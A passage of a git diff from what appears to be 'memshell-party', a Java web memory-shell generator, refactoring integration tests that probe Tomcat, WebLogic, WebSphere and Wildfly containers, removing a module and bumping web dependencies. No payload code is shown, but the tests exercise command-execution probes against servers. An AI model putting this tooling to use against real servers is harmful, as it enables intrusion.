@SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java index 3376ad00..2fa90966 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java @@ -1,14 +1,11 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.probe.payload.response.TomcatWriter; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import okhttp3.*; import org.junit.jupiter.api.Test; import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; @@ -21,9 +18,6 @@ import java.nio.file.Paths; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -59,20 +53,20 @@ public class Tomcat6ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java index 28acf05d..8f777ef0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -55,20 +54,20 @@ public class Tomcat7ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_7); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java index fe4c3ded..9acbfe95 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java @@ -1,14 +1,12 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -56,20 +54,20 @@ public class Tomcat8ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java index 84d3f7f0..8e031a6e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -54,20 +53,20 @@ public class Tomcat9ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.TOMCAT, data); + assertEquals(Server.Tomcat, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V9); + ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V9); + ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java index a7a30783..b044fcec 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.weblogic; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -17,8 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -54,20 +53,20 @@ public class WebLogic1036ContainerTest { void testServerDetection() { String url = getUrlFromWebLogic(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.WEBLOGIC, data); + assertEquals(Server.WebLogic, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromWebLogic(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromWebLogic(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java index fe9a443e..3ed65515 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration.probe.weblogic; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; @@ -59,20 +59,20 @@ public class WebLogic12214ContainerTest { void testServerDetection() { String url = getUrlFromWebLogic(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.WEBLOGIC, data); + assertEquals(Server.WebLogic, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromWebLogic(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromWebLogic(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java index 1eef957f..68d244b5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.weblogic; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -54,20 +53,20 @@ public class WebLogic14110ContainerTest { void testServerDetection() { String url = getUrlFromWebLogic(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.WEBLOGIC, data); + assertEquals(Server.WebLogic, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromWebLogic(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromWebLogic(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBLOGIC, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java index 48221870..537e06ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -20,9 +19,8 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -64,20 +62,20 @@ public class WebSphere855ContainerTest { void testServerDetection() { String url = getUrlFromWAS(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.WEBSPHERE, data); + assertEquals(Server.WebSphere, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java index 2be9b08b..4fd57561 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -19,9 +18,8 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -58,20 +56,20 @@ public class WebSphere905ContainerTest { void testServerDetection() { String url = getUrlFromWAS(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.WEBSPHERE, data); + assertEquals(Server.WebSphere, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.WEBSPHERE, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java index be83d860..673817ed 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java @@ -1,13 +1,10 @@ package com.reajason.javaweb.integration.probe.websphere7; -import com.reajason.javaweb.Constants; -import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; @@ -19,9 +16,8 @@ import java.nio.file.Files; import java.nio.file.Paths; import java.time.Duration; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -58,6 +54,6 @@ public class WebSphere700ContainerTest { void testServerDetection() { String url = getUrlFromWAS(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.WEBSPHERE, data); + assertEquals(Server.WebSphere, data); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java index db19b5ab..901ad858 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Wildfly18ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.UNDERTOW, data); + assertEquals(Server.Undertow, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java index e58d70c2..e9fbda1f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -55,20 +53,20 @@ public class Wildfly23ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.UNDERTOW, data); + assertEquals(Server.Undertow, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java index 35840074..ce081b31 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -54,20 +53,20 @@ public class Wildfly30ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.UNDERTOW, data); + assertEquals(Server.Undertow, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V17); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java index 734b46bb..9648c46f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.Server; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -58,20 +56,20 @@ public class Wildfly9ContainerTest { void testServerDetection() { String url = getUrl(container); String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Constants.Server.UNDERTOW, data); + assertEquals(Server.Undertow, data); } @Test @SneakyThrows void testCommandReqHeaderResponseBody() { String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); } @Test @SneakyThrows void testBytecodeReqParamResponseBody() { String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); } } diff --git a/memshell/build.gradle.kts b/memshell/build.gradle.kts deleted file mode 100644 index 1a35ed4b..00000000 --- a/memshell/build.gradle.kts +++ /dev/null @@ -1,28 +0,0 @@ -plugins { - id("java") - alias(libs.plugins.lombok) - id("maven-publish-convention") -} - -group = "io.github.reajason" -description = "Normal Java MemShell" -version = rootProject.version - - -java { - toolchain { - languageVersion = JavaLanguageVersion.of(8) - } - sourceCompatibility = JavaVersion.VERSION_1_8 - targetCompatibility = JavaVersion.VERSION_1_8 -} - -dependencies { - implementation(libs.byte.buddy) - implementation(libs.asm.commons) - implementation(libs.javax.servlet.api) - implementation(libs.javax.websocket.api) - implementation(libs.spring.webmvc) - implementation(libs.spring.webflux) - implementation(libs.reactor.netty.core) -} \ No newline at end of file diff --git a/settings.gradle.kts b/settings.gradle.kts index 39e5ba89..72e5fa12 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -20,7 +20,6 @@ rootProject.name = "memshell-party" include("memshell-party-common") include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword") -include("memshell") include("packer") include("boot") include("generator") diff --git a/web/biome.json b/web/biome.json index 1e288e81..7d10a3fc 100644 --- a/web/biome.json +++ b/web/biome.json @@ -1,5 +1,5 @@ { - "$schema": "https://biomejs.dev/schemas/2.1.3/schema.json", + "$schema": "https://biomejs.dev/schemas/2.1.4/schema.json", "vcs": { "enabled": false, "clientKind": "git", diff --git a/web/bun.lockb b/web/bun.lockb index d1ec0bb9..e3f8f9e0 100755 Binary files a/web/bun.lockb and b/web/bun.lockb differ diff --git a/web/package.json b/web/package.json index cea6852f..58406270 100644 --- a/web/package.json +++ b/web/package.json @@ -14,10 +14,10 @@ "lint:fix": "bunx @biomejs/biome check ./ --write" }, "devDependencies": { - "@biomejs/biome": "2.1.3", + "@biomejs/biome": "2.1.4", "@react-router/dev": "^7.8.0", "@types/node": "^24.2.1", - "@types/react": "^19.1.9", + "@types/react": "^19.1.10", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.1.7", "@types/react-syntax-highlighter": "^15.5.13", @@ -25,7 +25,7 @@ "rimraf": "^6.0.1", "tailwindcss": "^4.1.11", "typescript": "^5.9.2", - "vite": "^7.1.1", + "vite": "^7.1.2", "vite-bundle-visualizer": "^1.2.1" }, "dependencies": { @@ -36,7 +36,7 @@ "clsx": "^2.1.1", "framer-motion": "^12.23.12", "i18next": "^25.3.4", - "lucide-react": "^0.537.0", + "lucide-react": "^0.539.0", "motion": "^12.23.12", "radix-ui": "^1.4.2", "react": "^19.1.1", diff --git a/web/src/components/memshell/main-config-card.tsx b/web/src/components/memshell/main-config-card.tsx index 3db744ca..6396aab3 100644 --- a/web/src/components/memshell/main-config-card.tsx +++ b/web/src/components/memshell/main-config-card.tsx @@ -1,41 +1,41 @@ import { - ArrowUpRightIcon, - AxeIcon, 